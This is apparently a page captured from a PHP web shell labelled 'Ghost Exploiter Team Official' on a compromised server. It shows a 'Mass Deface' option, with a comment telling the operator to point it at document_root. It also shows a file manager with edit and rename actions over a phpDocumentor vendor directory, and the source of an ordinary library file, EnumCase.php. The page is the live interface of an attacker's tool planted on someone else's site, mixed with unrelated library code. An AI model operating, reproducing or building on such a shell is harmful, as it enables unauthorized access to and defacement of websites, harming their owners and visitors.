Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
phpdocumentor
/
reflection
/
src
/
phpDocumentor
/
Reflection
/
Php
/
Factory
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
File
--
ren
Reducer
--
ren
AbstractFactory.php
2.563KB
edt
ren
ClassConstant.php
4.196KB
edt
ren
ClassConstantIterator.php
3.574KB
edt
ren
Class_.php
2.386KB
edt
ren
ConstructorPromotion.php
3.278KB
edt
ren
ContextStack.php
2.317KB
edt
ren
Define.php
4.841KB
edt
ren
EnumCase.php
2.379KB
edt
ren
Enum_.php
1.833KB
edt
ren
File.php
5.632KB
edt
ren
Function_.php
2.16KB
edt
ren
GlobalConstant.php
3.002KB
edt
ren
GlobalConstantIterator.php
2.761KB
edt
ren
IfStatement.php
1.197KB
edt
ren
Interface_.php
2.477KB
edt
ren
Method.php
3.056KB
edt
ren
Namespace_.php
1.617KB
edt
ren
Noop.php
0.497KB
edt
ren
Property.php
3.196KB
edt
ren
PropertyBuilder.php
11.121KB
edt
ren
PropertyIterator.php
5.964KB
edt
ren
TraitUse.php
1.46KB
edt
ren
Trait_.php
1.877KB
edt
ren
Type.php
2.197KB
edt
ren
<?php declare(strict_types=1); namespace phpDocumentor\Reflection\Php\Factory; use Override; use phpDocumentor\Reflection\DocBlockFactoryInterface; use phpDocumentor\Reflection\Location; use phpDocumentor\Reflection\Php\Enum_ as EnumElement; use phpDocumentor\Reflection\Php\EnumCase as EnumCaseElement; use phpDocumentor\Reflection\Php\Expression as ValueExpression; use phpDocumentor\Reflection\Php\Expression\ExpressionPrinter; use phpDocumentor\Reflection\Php\Factory\Reducer\Reducer; use phpDocumentor\Reflection\Php\StrategyContainer; use PhpParser\Node\Stmt\EnumCase as EnumCaseNode; use PhpParser\PrettyPrinter\Standard as PrettyPrinter; use function assert; use function is_string; final class EnumCase extends AbstractFactory { /** @param iterable<Reducer> $reducers */ public function __construct( DocBlockFactoryInterface $docBlockFactory, private readonly PrettyPrinter $prettyPrinter, iterable $reducers = [], ) { parent::__construct($docBlockFactory, $reducers); } #[Override] public function matches(ContextStack $context, object $object): bool { return $object instanceof EnumCaseNode; } /** @param EnumCaseNode $object */ #[Override] protected function doCreate(ContextStack $context, object $object, StrategyContainer $strategies): object|null { $docBlock = $this->createDocBlock($object->getDocComment(), $context->getTypeContext()); $enum = $context->peek(); assert($enum instanceof EnumElement); $case = new EnumCaseElement( $object->getAttribute('fqsen'), $docBlock, new Location($object->getLine()), new Location($object->getEndLine()), $this->determineValue($object), ); $enum->addCase($case); return $case; } private function determineValue(EnumCaseNode $value): ValueExpression|null { $expression = $value->expr !== null ? $this->prettyPrinter->prettyPrintExpr($value->expr) : null; if ($expression === null) { return null; } if ($this->prettyPrinter instanceof ExpressionPrinter) { $expression = new ValueExpression($expression, $this->prettyPrinter->getParts()); } if (is_string($expression)) { $expression = new ValueExpression($expression, []); } return $expression; } }